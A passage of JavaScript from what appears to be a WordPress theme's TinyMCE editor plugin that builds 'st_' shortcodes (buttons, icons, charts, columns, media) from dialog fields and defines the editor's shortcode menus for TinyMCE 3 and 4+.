case 'st_icon':
var name = jQuery("#name").val();
var size = jQuery("#size").val();
var type = jQuery("#icon_type").val();
var color = jQuery("#icon_color").val();
var bg_color = jQuery("#icon_bg_color").val();
var border_color = jQuery("#icon_border_color").val();
var align = jQuery("#align").val();
var what = "[st_icon name='"+name+"' size='"+size+"' color='"+color+"' type='"+type+"' background='"+bg_color+"' border_color='"+border_color+"' align='"+align+"']";
break;
case 'st_icon_melon':
var name = jQuery("#name").val();
var size = jQuery("#size").val();
var type = jQuery("#icon_type").val();
var color = jQuery("#icon_color").val();
var bg_color = jQuery("#icon_bg_color").val();
var border_color = jQuery("#icon_border_color").val();
var align = jQuery("#align").val();
var what = "[st_icon_melon name='"+name+"' size='"+size+"' color='"+color+"' type='"+type+"' background='"+bg_color+"' border_color='"+border_color+"' align='"+align+"']";
break;
case 'st_social_icon':
var name = jQuery("#name").val();
var href = jQuery("#href").val();
var target = jQuery("#target").val();
var align = jQuery("#align").val();
var what = "[st_social_icon name='"+name+"' href='"+href+"' target='"+target+"' align='"+align+"']";
break;
case 'st_divider_text':
var type = jQuery("#divider_type").val();
var text = jQuery("#text").val();
var what = "[st_divider_text position='"+type+"' text='"+text+"']";
break;
case 'st_countdown':
var id = jQuery("#event_id").val();
var align = jQuery("#countdown_align").val();
var what = "[st_countdown id='"+id+"' align='"+align+"']";
break;
case 'st_testimonials':
var color = jQuery("#color").val();
var number = jQuery("#number").val();
var what = "[st_testimonials color='"+color+"' number='"+number+"']";
break;
}
if(this.validate()) {
if(preview === true) {
var values = {
'data': what
};
jQuery.ajax({
url: stPluginUrl + '/ajaxPlugin.php?act=preview',
type: 'POST',
data: values,
loading: function() {
jQuery("#previewDiv").empty().html('<div class="loading"> </div>')
},
success: function(response) {
jQuery("#previewDiv").empty().html(response);
}
});
} else {
tinyMCE.activeEditor.execCommand('mceInsertContent', 0, what);
}
}
},
validate: function() {
ret = true;
jQuery('.req').each(function() {
if(jQuery(this).find('input').val() == '') {
ret = false;
jQuery(this).find('input').addClass('errorInput');
} else {
jQuery(this).find('input').removeClass('errorInput');
}
if(jQuery(this).find('textarea').val() == '') {
ret = false;
jQuery(this).find('textarea').addClass('errorInput');
} else {
jQuery(this).find('textarea').removeClass('errorInput');
}
});
return ret;
},
readMore: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=readMore&preview');
what = 'st_button_more';
},
breakLine: function() {
tinyMCE.activeEditor.execCommand('mceInsertContent', 0, "[st_break_line]");
},
horizontalLine: function() {
tinyMCE.activeEditor.execCommand('mceInsertContent', 0, "[st_horizontal_line]");
},
divClear: function() {
tinyMCE.activeEditor.execCommand('mceInsertContent', 0, "[st_clear]");
},
createDividerDotted: function() {
tinyMCE.activeEditor.execCommand('mceInsertContent', 0, "[st_divider_dotted]");
},
createDividerDashed: function() {
tinyMCE.activeEditor.execCommand('mceInsertContent', 0, "[st_divider_dashed]");
},
createDividerTop: function() {
tinyMCE.activeEditor.execCommand('mceInsertContent', 0, "[st_divider_top]");
},
createDividerShadow: function() {
tinyMCE.activeEditor.execCommand('mceInsertContent', 0, "[st_divider_shadow]");
},
insertButton: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=insertButton&preview');
what = 'st_button';
},
insertHoverFillButton: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=insertHoverFillButton&preview');
what = 'st_hover_fill_button';
},
insertHoverFancyIconButton: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=insertHoverFancyIconButton&preview');
what = 'st_hover_fancy_icon_button';
},
insertHoverArrowsButton: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=insertHoverArrowsButton&preview');
what = 'st_hover_arrows_button';
},
insertHoverIconOnHoverButton: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=insertHoverIconOnHoverButton&preview');
what = 'st_hover_icon_button';
},
insertHoverBorderedButton: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=insertHoverBorderedButton&preview');
what = 'st_hover_bordered_button';
},
insertBox: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=insertBox&preview');
what = 'st_box';
},
dividerText: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=dividerText&preview');
what = 'st_divider_text';
},
eventCountdown: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=eventCountdown');
what = 'st_countdown';
},
createTestimonials: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=testimonials');
what = 'st_testimonials';
},
insertCallout: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=insertCallout&preview');
what = 'st_callout';
},
insertTooltip: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=insertTooltip&preview=remove');
what = 'st_tooltip';
},
insertPopover: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=insertPopover&preview=remove');
what = 'st_popover';
},
insertModal: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=insertModal&preview=remove');
what = 'st_modal';
},
createTabs: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=createTabs&preview=remove');
what = 'st_tabs';
},
createUnorderedList: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=createUnorderedList&preview');
what = 'st_unordered';
},
createOrderedList: function() {
var content = (tinyMCE.activeEditor.selection.getContent() != '') ? tinyMCE.activeEditor.selection.getContent() : '<ol><li>First list item</li></ol>';
tinyMCE.activeEditor.execCommand('mceInsertContent', 0, "[st_ordered]"+ content +"[/st_ordered]");
},
createToggle: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=toggle&preview');
what = 'st_toggle';
},
createAccordion: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=createAccordion&preview');
what = 'st_accordion';
},
createProgressBar: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=progress_bar&preview');
what = 'st_progress_bar';
},
createTables: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=createTable&preview');
what = 'st_tables';
},
relatedPosts: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=related&preview=remove');
what = 'st_related_posts';
},
logInOut: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=logInOut&preview');
what = 'st_loginout';
},
dropCap: function(type) {
tinyMCE.activeEditor.execCommand('mceInsertContent', 0, "[st_dropcap type='"+type+"']"+ tinyMCE.activeEditor.selection.getContent() +"[/st_dropcap]");
},
highlight: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=highlight&preview');
what = 'st_highlight';
},
labels: function(type) {
tinyMCE.activeEditor.execCommand('mceInsertContent', 0, "[st_label type='"+type+"']"+ tinyMCE.activeEditor.selection.getContent() +"[/st_label]");
},
quote: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=quote&preview');
what = 'st_quote';
},
abbreviation: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=abbreviation&preview');
what = 'st_abbreviation';
},
createTwitterButton: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=twitter&preview');
what = 'st_twitter';
},
createDiggButton: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=digg&preview');
what = 'st_digg';
},
createFBlikeButton: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=fblike&preview');
what = 'st_fblike';
},
createFBShareButton: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=fbshare&preview');
what = 'st_fbshare';
},
createLIShareButton: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=lishare&preview');
what = 'st_lishare';
},
createGplusButton: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=gplus&preview');
what = 'st_gplus';
},
createPinButton: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=pinterest_pin&preview');
what = 'st_pinterest_pin';
},
createTumblrButton: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=tumblr&preview');
what = 'st_tumblr';
},
createSocialIcon: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=social_icon&preview');
what = 'st_social_icon';
},
createPricingTables: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=pricingTable&preview');
what = 'st_pricingTable';
},
createFancyboxImages: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=fancyboxImages&preview=remove');
what = 'st_fancyboxImages';
},
createFancyboxInline: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=fancyboxInline&preview=remove');
what = 'st_fancyboxInline';
},
createFancyboxIframe: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=fancyboxIframe&preview=remove');
what = 'st_fancyboxIframe';
},
createFancyboxPage: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=fancyboxPage&preview=remove');
what = 'st_fancyboxPage';
},
createFancyboxSwf: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=fancyboxSwf&preview=remove');
what = 'st_fancyboxSwf';
},
createVideo: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=video&preview');
what = 'st_video';
},
createAudio: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=audio&preview');
what = 'st_audio';
},
createSoundcloud: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=soundcloud&preview');
what = 'st_soundcloud';
},
createMixcloud: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=mixcloud&preview');
what = 'st_mixcloud';
},
createSectionImage: function(){
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=section_image&preview=remove');
what = 'st_section_image';
},
createSectionColor: function(){
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=section_color&preview=remove');
what = 'st_section_color';
},
createContainer: function(){
var currentVal = 'Put your content here';
tinyMCE.activeEditor.execCommand('mceInsertContent', 0, "[st_container]"+ currentVal +"[/st_container]");
},
createTextColor: function(){
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=text_color&preview=remove');
what = 'st_text_color';
},
createRow: function(){
var currentVal = 'Put your columns here';
tinyMCE.activeEditor.execCommand('mceInsertContent', 0, "[st_row]"+ currentVal +"[/st_row]");
},
createColumnLayout: function(n) {
var col = '';
var values = {
'st_column1': 'st_column1',
'st_column2': 'st_column2',
'st_column3': 'st_column3',
'st_column4': 'st_column4',
'st_column5': 'st_column5',
'st_column6': 'st_column6',
'st_column7': 'st_column7',
'st_column8': 'st_column8',
'st_column9': 'st_column9',
'st_column10': 'st_column10',
'st_column11': 'st_column11',
'st_column12': 'st_column12',
}
col = values[n];
var currentVal = 'Your content goes here';
tinyMCE.activeEditor.execCommand('mceInsertContent', 0, "["+col+"]"+ currentVal +"[/"+col+"]");
},
createGoogleMaps: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=gmap&preview=remove');
what = 'st_gmap';
},
createGoogleTrends: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=trends&preview=remove');
what = 'st_trends';
},
createChartPie: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=chart_pie&preview=remove');
what = 'st_chart_pie';
},
createChartBar: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=chart_bar&preview=remove');
what = 'st_chart_bar';
},
createChartArea: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=chart_area&preview=remove');
what = 'st_chart_area';
},
createChartGeo: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=chart_geo&preview=remove');
what = 'st_chart_geo';
},
createChartCombo: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=chart_combo&preview=remove');
what = 'st_chart_combo';
},
createChartOrg: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=chart_org&preview=remove');
what = 'st_chart_org';
},
createChartBubble: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=chart_bubble&preview=remove');
what = 'st_chart_bubble';
},
createGoogleDocs: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=gdocs&preview=remove');
what = 'st_gdocs';
},
pageSiblings: function() {
tinyMCE.activeEditor.execCommand('mceInsertContent', 0, "[st_siblings]");
},
children: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=children&preview');
what = 'st_children';
},
contactFormDark: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=contact_form_dark&preview');
what = 'st_contact_form_dark';
},
contactFormLight: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=contact_form_light&preview');
what = 'st_contact_form_light';
},
createCarousel: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=posts_carousel&preview=remove');
what = 'st_posts_carousel';
},
createSwiper: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=swiper&preview=remove');
what = 'st_swiper';
},
insertAnimated: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=animated&preview=remove');
what = 'st_animated';
},
insertDrawing: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=svg_drawing&preview=remove');
what = 'st_svg_drawing';
},
createIcon: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=icon&preview');
what = 'st_icon';
},
createIconMelon: function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=melonIcon&preview');
what = 'st_icon_melon';
},
createCode: function() {
var currentVal = 'Put your code here';
tinyMCE.activeEditor.execCommand('mceInsertContent', 0, "[st_code]"+ currentVal +"[/st_code]");
}
};
var what = '';
jQuery('#insert').live('click', function(e) {
preview = false;
e.preventDefault();
themeShortcuts.insert(what);
tb_remove();
return false;
});
jQuery('#preview').live('click', function(e) {
preview = true;
e.preventDefault();
themeShortcuts.insert(what);
return false;
});
jQuery('#SupremeSocialTheme_preview input').live('blur', function() {
preview = true;
setTimeout(function() {
themeShortcuts.insert(what);
}, 300);
});
jQuery('#SupremeSocialTheme_preview select').live('change', function() {
preview = true;
setTimeout(function() {
themeShortcuts.insert(what);
}, 300);
});
jQuery('#cancel').live('click', function(e) {
tb_remove();
return false;
});
///////////////////////////////////////
// CHECK THE VERSION OF TINYMCE !!
///////////////////////////////////////
if (tinymce.majorVersion < 4) {
//////////////////////////////
// IF IS TINYMCE VERSION 3
//////////////////////////////
tinymce.create('tinymce.plugins.themeShortcuts', {
init: function(ed, url) {
},
createControl: function(n, cm) {
switch (n) {
case 'themeShortcuts':
var c = cm.createSplitButton('themeShortcuts', {
title : 'Theme shortcuts',
image : stPluginUrl + '/images/supremetheme-logo-19x19.png',
onclick : function() {
c.showMenu();
}
});
c.onRenderMenu.add(function(c,m) {
e = m.addMenu({title : 'Lines'});
e.add({title : 'Break Line', onclick : themeShortcuts.breakLine});
e.add({title : 'Horizontal Line', onclick : themeShortcuts.horizontalLine});
e.add({title : 'Clear', onclick : themeShortcuts.divClear});
var ea = e.addMenu({title : 'Dividers'});
ea.add({title : 'Dotted', onclick : themeShortcuts.createDividerDotted});
ea.add({title : 'Dashed', onclick : themeShortcuts.createDividerDashed});
ea.add({title : 'To Top', onclick : themeShortcuts.createDividerTop});
ea.add({title : 'Shadow', onclick : themeShortcuts.createDividerShadow});
ea.add({title : 'Text', onclick : themeShortcuts.dividerText});
b = m.addMenu({title : 'Buttons'});
b.add({title : 'Button', onclick : function() { themeShortcuts.insertButton() }});
var ba = b.addMenu({title : 'Hover Buttons'});
ba.add({title: 'Fill In', onclick : themeShortcuts.insertHoverFillButton});
ba.add({title: 'Fancy Icon', onclick : themeShortcuts.insertHoverFancyIconButton});
ba.add({title: 'Arrows', onclick : themeShortcuts.insertHoverArrowsButton});
ba.add({title: 'Icon on hover', onclick : themeShortcuts.insertHoverIconOnHoverButton});
ba.add({title: 'Bordered', onclick : themeShortcuts.insertHoverBorderedButton});
b.add({title : 'Read More', onclick : themeShortcuts.readMore});
var be = b.addMenu({title : 'Share Buttons'});
be.add({title: 'Twitter', onclick : themeShortcuts.createTwitterButton});
be.add({title: 'Digg', onclick : themeShortcuts.createDiggButton});
be.add({title: 'Facebook Like', onclick : themeShortcuts.createFBlikeButton});
be.add({title: 'Facebook Share', onclick : themeShortcuts.createFBShareButton});
be.add({title: 'LinkedIn', onclick : themeShortcuts.createLIShareButton});
be.add({title: 'Google+', onclick : themeShortcuts.createGplusButton});
be.add({title: 'Pinterest', onclick : themeShortcuts.createPinButton});
be.add({title: 'Tumbler', onclick : themeShortcuts.createTumblrButton});
b.add({title : 'Log in / out button', onclick : themeShortcuts.logInOut});
i = m.addMenu({title : 'Boxes'});
i.add({title : 'Box', onclick : themeShortcuts.insertBox});
i.add({title : 'Callout', onclick : themeShortcuts.insertCallout});
p = m.addMenu({title : 'Icons'});
p.add({title : 'Font Awesome', onclick : themeShortcuts.createIcon});
p.add({title : 'Icon Melon', onclick : themeShortcuts.createIconMelon});
p.add({title : 'Social Icons', onclick : themeShortcuts.createSocialIcon});
m.add({title : 'Animated', onclick : themeShortcuts.insertAnimated});
m.add({title : 'SVG Drawing', onclick : themeShortcuts.insertDrawing});
s = m.addMenu({title : 'Elements'});
s.add({title : 'Tooltip', onclick : themeShortcuts.insertTooltip});
s.add({title : 'Popover', onclick : themeShortcuts.insertPopover});
s.add({title : 'Modal', onclick : themeShortcuts.insertModal});
s.add({title : 'Tabs', onclick : themeShortcuts.createTabs});
s.add({title : 'Toggle', onclick : themeShortcuts.createToggle});
s.add({title : 'Accordion', onclick : themeShortcuts.createAccordion});
s.add({title : 'Progress Bar', onclick : themeShortcuts.createProgressBar});
r = m.addMenu({title : 'Section'});
r.add({title : 'Image', onclick : themeShortcuts.createSectionImage});
r.add({title : 'Color', onclick : themeShortcuts.createSectionColor});
m.add({title : 'Container', onclick : themeShortcuts.createContainer});
h = m.addMenu({title : 'Responsive'});
h.add({title : 'Row', onclick : themeShortcuts.createRow});
h.add({title: '1 column', onclick : function() { themeShortcuts.createColumnLayout('st_column1') }});
h.add({title: '2 columns', onclick : function() { themeShortcuts.createColumnLayout('st_column2') }});
h.add({title: '3 columns', onclick : function() { themeShortcuts.createColumnLayout('st_column3') }});
h.add({title: '4 columns', onclick : function() { themeShortcuts.createColumnLayout('st_column4') }});
h.add({title: '5 columns', onclick : function() { themeShortcuts.createColumnLayout('st_column5') }});
h.add({title: '6 columns', onclick : function() { themeShortcuts.createColumnLayout('st_column6') }});
h.add({title: '7 columns', onclick : function() { themeShortcuts.createColumnLayout('st_column7') }});
h.add({title: '8 columns', onclick : function() { themeShortcuts.createColumnLayout('st_column8') }});
h.add({title: '9 columns', onclick : function() { themeShortcuts.createColumnLayout('st_column9') }});
h.add({title: '10 columns', onclick : function() { themeShortcuts.createColumnLayout('st_column10') }});
h.add({title: '11 columns', onclick : function() { themeShortcuts.createColumnLayout('st_column11') }});
h.add({title: '12 columns', onclick : function() { themeShortcuts.createColumnLayout('st_column12') }});
d = m.addMenu({title : 'Google'});
d.add({title : 'Google Maps', onclick : themeShortcuts.createGoogleMaps});
d.add({title : 'Google Trends', onclick : themeShortcuts.createGoogleTrends});
d.add({title : 'Google Docs', onclick : themeShortcuts.createGoogleDocs});
var da = d.addMenu({title : 'Google Charts'});
da.add({title : 'Pie', onclick : themeShortcuts.createChartPie});
da.add({title : 'Bar', onclick : themeShortcuts.createChartBar});
da.add({title : 'Area', onclick : themeShortcuts.createChartArea});
da.add({title : 'Geo', onclick : themeShortcuts.createChartGeo});
da.add({title : 'Combo', onclick : themeShortcuts.createChartCombo});
da.add({title : 'Org', onclick : themeShortcuts.createChartOrg});
da.add({title : 'Bubble', onclick : themeShortcuts.createChartBubble});
f = m.addMenu({title: 'Lists'});
f.add({title : 'Unordered list', onclick : themeShortcuts.createUnorderedList});
f.add({title : 'Ordered list', onclick : themeShortcuts.createOrderedList});
o = m.addMenu({title: 'Tables'});
o.add({title : 'Styled table', onclick : themeShortcuts.createTables});
o.add({title : 'Pricing table', onclick : themeShortcuts.createPricingTables});
l = m.addMenu({title : 'Media'});
l.add({title : 'Video', onclick : themeShortcuts.createVideo});
var la = l.addMenu({title : 'Audio'});
la.add({title : 'Soundcloud', onclick : themeShortcuts.createSoundcloud});
la.add({title : 'Mixcloud', onclick : themeShortcuts.createMixcloud});
la.add({title : 'Other', onclick : themeShortcuts.createAudio});
d = m.addMenu({title: 'Typography'});
var dc = d.addMenu({title : 'Dropcap'});
dc.add({title : 'Light', onclick : function() { themeShortcuts.dropCap('light') }});
dc.add({title : 'Light Circled', onclick : function() {themeShortcuts.dropCap('light_circled')}});
dc.add({title : 'Dark', onclick : function() {themeShortcuts.dropCap('dark')}});
dc.add({title : 'Dark Circled', onclick : function() {themeShortcuts.dropCap('dark_circled')}});
d.add({title : 'Quote', onclick : themeShortcuts.quote});
d.add({title : 'Highlight', onclick : themeShortcuts.highlight});
var df = d.addMenu({title: 'Label'});
df.add({title : 'Default', onclick : function() { themeShortcuts.labels('default') }});
df.add({title : 'New', onclick : function() {themeShortcuts.labels('success')}});
df.add({title : 'Warning', onclick : function() {themeShortcuts.labels('warning')}});
df.add({title : 'Important', onclick : function() {themeShortcuts.labels('important')}});
df.add({title : 'Notice', onclick : function() {themeShortcuts.labels('notice')}});
d.add({title : 'Colored Text', onclick : themeShortcuts.createTextColor});
d.add({title : 'Abbreviation', onclick : themeShortcuts.abbreviation});
p = m.addMenu({title : 'Related'});
p.add({title : 'Related posts', onclick : themeShortcuts.relatedPosts});
p.add({title : 'Siblings', onclick : themeShortcuts.pageSiblings});
p.add({title : 'Children', onclick : themeShortcuts.children});
k = m.addMenu({title : 'Fancybox'});
k.add({title : 'Images', onclick : themeShortcuts.createFancyboxImages});
k.add({title : 'Inline', onclick : themeShortcuts.createFancyboxInline});
k.add({title : 'iFrame', onclick : themeShortcuts.createFancyboxIframe});
k.add({title : 'Page', onclick : themeShortcuts.createFancyboxPage});
k.add({title : 'Swf', onclick : themeShortcuts.createFancyboxSwf});
j = m.addMenu({title : 'Contact form'});
j.add({title : 'Light', onclick : themeShortcuts.contactFormLight});
j.add({title : 'Dark', onclick : themeShortcuts.contactFormDark});
t = m.addMenu({title : 'Carousel'});
t.add({title : 'Post Carousel', onclick : themeShortcuts.createCarousel});
t.add({title : 'Swiper', onclick : themeShortcuts.createSwiper});
//t.add({title : 'Testimonial', onclick : themeShortcuts.createTestimonials});
//m.add({title : 'Countdown', onclick : themeShortcuts.eventCountdown});
m.add({title : 'Code', onclick : themeShortcuts.createCode});
});
return c;
}
return null;
},
});
}else{
//////////////////////////////
// IF IS TINYMCE VERSION 4+
//////////////////////////////
tinymce.create('tinymce.plugins.themeShortcuts', {
init : function(ed, url) {
ed.addButton( 'themeShortcuts', {
type: 'listbox',
text: 'Supreme',
icon: 'supreme',
classes: 'mce-btn supreme-class',
tooltip: 'Supreme Shortcodes',
onselect: function(e) {
},
values: [
{
type: 'listbox',
text: 'Lines',
icon: false,
classes: 'has-dropdown',
values: [
{ text: 'Break Line', onclick : themeShortcuts.breakLine},
{ text: 'Horizontal Line', onclick : themeShortcuts.horizontalLine},
{ text: 'Clear', onclick : themeShortcuts.divClear},
{
type: 'listbox',
text: 'Dividers',
icon: false,
classes: 'has-dropdown',
values: [
{ text: 'Dotted', onclick : function() {
tinymce.execCommand('mceInsertContent', false, '[st_divider_dotted]');
}},
{ text: 'Dashed', onclick : function() {
tinymce.execCommand('mceInsertContent', false, '[st_divider_dashed]');
}},
{ text: 'To Top', onclick : function() {
tinymce.execCommand('mceInsertContent', false, '[st_divider_top]');
}},
{ text: 'Shadow', onclick : function() {
tinymce.execCommand('mceInsertContent', false, '[st_divider_shadow]');
}},
{text: 'Text', onclick : function() {
tb_show('', stPluginUrl + '/ajaxPlugin.php?act=dividerText&preview');
what = 'st_divider_text';
}},
]
},
]
},
{
type: 'listbox',
text: 'Buttons',
icon: false,
classes: 'has-dropdown',
values: [
{text: 'Button', onclick : function() { themeShortcuts.insertButton() }},
{
type: 'listbox',
text: 'Hover Button',
icon: false,
classes: 'has-dropdown',
values: [
{text: 'Fill In', onclick : function() { themeShortcuts.insertHoverFillButton() }},
{text: 'Fancy Icon', onclick : function() { themeShortcuts.insertHoverFancyIconButton() }},
{text: 'Arrows', onclick : function() { themeShortcuts.insertHoverArrowsButton() }},
{text: 'Icon on hover', onclick : function() { themeShortcuts.insertHoverIconOnHoverButton() }},
{text: 'Bordered', onclick : function() { themeShortcuts.insertHoverBorderedButton() }},
]
},
{text: 'Read more', onclick : themeShortcuts.readMore},
{
type: 'listbox',
text: 'Share buttons',
icon: false,
classes: 'has-dropdown',
values: [
{ text: 'Twitter', onclick : themeShortcuts.createTwitterButton},
{ text: 'Digg', onclick : themeShortcuts.createDiggButton},
{ text: 'Facebook Like', onclick : themeShortcuts.createFBlikeButton},
{ text: 'Facebook Share', onclick : themeShortcuts.createFBShareButton},
{ text: 'LinkedIn', onclick : themeShortcuts.createLIShareButton},
{ text: 'Google+', onclick : themeShortcuts.createGplusButton},
{ text: 'Pinterest', onclick : themeShortcuts.createPinButton},
{ text: 'Tumbler', onclick : themeShortcuts.createTumblrButton},
]
},
{text: 'Log in / out button', onclick : themeShortcuts.logInOut},
]
},
{
type: 'listbox',
text: 'Boxes',
icon: false,
classes: 'has-dropdown',
values: [
{text: 'Info Box', onclick : themeShortcuts.insertBox},
{text: 'Callout', onclick : themeShortcuts.insertCallout},
]
},
{
type: 'listbox',
text: 'Icons',
icon: false,
classes: 'has-dropdown',
values: [
{text: 'Font Awesome', onclick : themeShortcuts.createIcon},
{text: 'Icon Melon', onclick : themeShortcuts.createIconMelon},
{text: 'Social Icons', onclick : themeShortcuts.createSocialIcon},
]
},
{classes: 'no-dropdown', text: 'Animated', onclick : themeShortcuts.insertAnimated},
{classes: 'no-dropdown', text: 'SVG Drawing', onclick : themeShortcuts.insertDrawing},
{
type: 'listbox',
text: 'Elements',
icon: false,
classes: 'has-dropdown',
values: [
{text: 'Tooltip', onclick : themeShortcuts.insertTooltip},
{text: 'Popover', onclick : themeShortcuts.insertPopover},
{text: 'Modal', onclick : themeShortcuts.insertModal},
{text: 'Tabs', onclick : themeShortcuts.createTabs},
{text: 'Toggle', onclick : themeShortcuts.createToggle},
{text: 'Accordion', onclick : themeShortcuts.createAccordion},
{text: 'Progress Bar', onclick : themeShortcuts.createProgressBar},
]
},
{
type: 'listbox',
text: 'Section',
icon: false,
classes: 'has-dropdown',
values: [
{text: 'Image', onclick : themeShortcuts.createSectionImage},
{text: 'Color', onclick : themeShortcuts.createSectionColor},
]
},
{classes: 'no-dropdown', text: 'Container', onclick : themeShortcuts.createContainer},
{
type: 'listbox',
text: 'Responsive',
icon: false,
classes: 'has-dropdown',
values: [
{text: 'Row', onclick : themeShortcuts.createRow},
{text: '1 column', onclick : function() { themeShortcuts.createColumnLayout('st_column1') }},
{text: '2 columns', onclick : function() { themeShortcuts.createColumnLayout('st_column2') }},
{text: '3 columns', onclick : function() { themeShortcuts.createColumnLayout('st_column3') }},
{text: '4 columns', onclick : function() { themeShortcuts.createColumnLayout('st_column4') }},
{text: '5 columns', onclick : function() { themeShortcuts.createColumnLayout('st_column5') }},
{text: '6 columns', onclick : function() { themeShortcuts.createColumnLayout('st_column6') }},
{text: '7 columns', onclick : function() { themeShortcuts.createColumnLayout('st_column7') }},
{text: '8 columns', onclick : function() { themeShortcuts.createColumnLayout('st_column8') }},
{text: '9 columns', onclick : function() { themeShortcuts.createColumnLayout('st_column9') }},
{text: '10 columns', onclick : function() { themeShortcuts.createColumnLayout('st_column10') }},
{text: '11 columns', onclick : function() { themeShortcuts.createColumnLayout('st_column11') }},
{text: '12 columns', onclick : function() { themeShortcuts.createColumnLayout('st_column12') }},
]
},
{
type: 'listbox',
text: 'Google',
icon: false,
classes: 'has-dropdown',
values: [
{text: 'Google Maps', onclick : themeShortcuts.createGoogleMaps},
{text: 'Google Trends', onclick : themeShortcuts.createGoogleTrends},
{text: 'Google Docs', onclick : themeShortcuts.createGoogleDocs},
{
type: 'listbox',
text: 'Google Charts',
icon: false,
classes: 'has-dropdown',
values: [
{text: 'Pie', onclick : themeShortcuts.createChartPie},
{text: 'Bar', onclick : themeShortcuts.createChartBar},
{text: 'Area', onclick : themeShortcuts.createChartArea},
{text: 'Geo', onclick : themeShortcuts.createChartGeo},
{text: 'Combo', onclick : themeShortcuts.createChartCombo},
{text: 'Org', onclick : themeShortcuts.createChartOrg},
{text: 'Bubble', onclick : themeShortcuts.createChartBubble},
]
},
]
},
{
type: 'listbox',
text: 'Lists',
icon: false,
classes: 'has-dropdown',
values: [
{text: 'Unordered list', onclick : themeShortcuts.createUnorderedList},
{text: 'Ordered list', onclick : themeShortcuts.createOrderedList},
]
},
{
type: 'listbox',
text: 'Tables',
icon: false,
classes: 'has-dropdown',
values: [
{text: 'Styled table', onclick : themeShortcuts.createTables},
{text: 'Pricing table', onclick : themeShortcuts.createPricingTables},
]
},
{
type: 'listbox',
text: 'Media',
icon: false,
classes: 'has-dropdown',
values: [
{text: 'Video', onclick : themeShortcuts.createVideo},
{
type: 'listbox',
text: 'Audio',
icon: false,
classes: 'has-dropdown',
values: [
{text: 'Soundcloud', onclick : themeShortcuts.createSoundcloud},
{text: 'Mixcloud', onclick : themeShortcuts.createMixcloud},
{text: 'Other', onclick : themeShortcuts.createAudio},
]
},
]
},
{
type: 'listbox',
text: 'Typography',
icon: false,
classes: 'has-dropdown',
values: [
{
type: 'listbox',
text: 'Dropcap',
icon: false,
values: [
{text: 'Light', onclick : function() {themeShortcuts.dropCap('light')}},
{text: 'Light Circled', onclick : function() {themeShortcuts.dropCap('light_circled')}},
{text: 'Dark', onclick : function() {themeShortcuts.dropCap('dark')}},
{text: 'Dark Circled', onclick : function() {themeShortcuts.dropCap('dark_circled')}},
]
},
{text: 'Quote', onclick : themeShortcuts.quote},
{text: 'Highlight', onclick : themeShortcuts.highlight},
{
type: 'listbox',
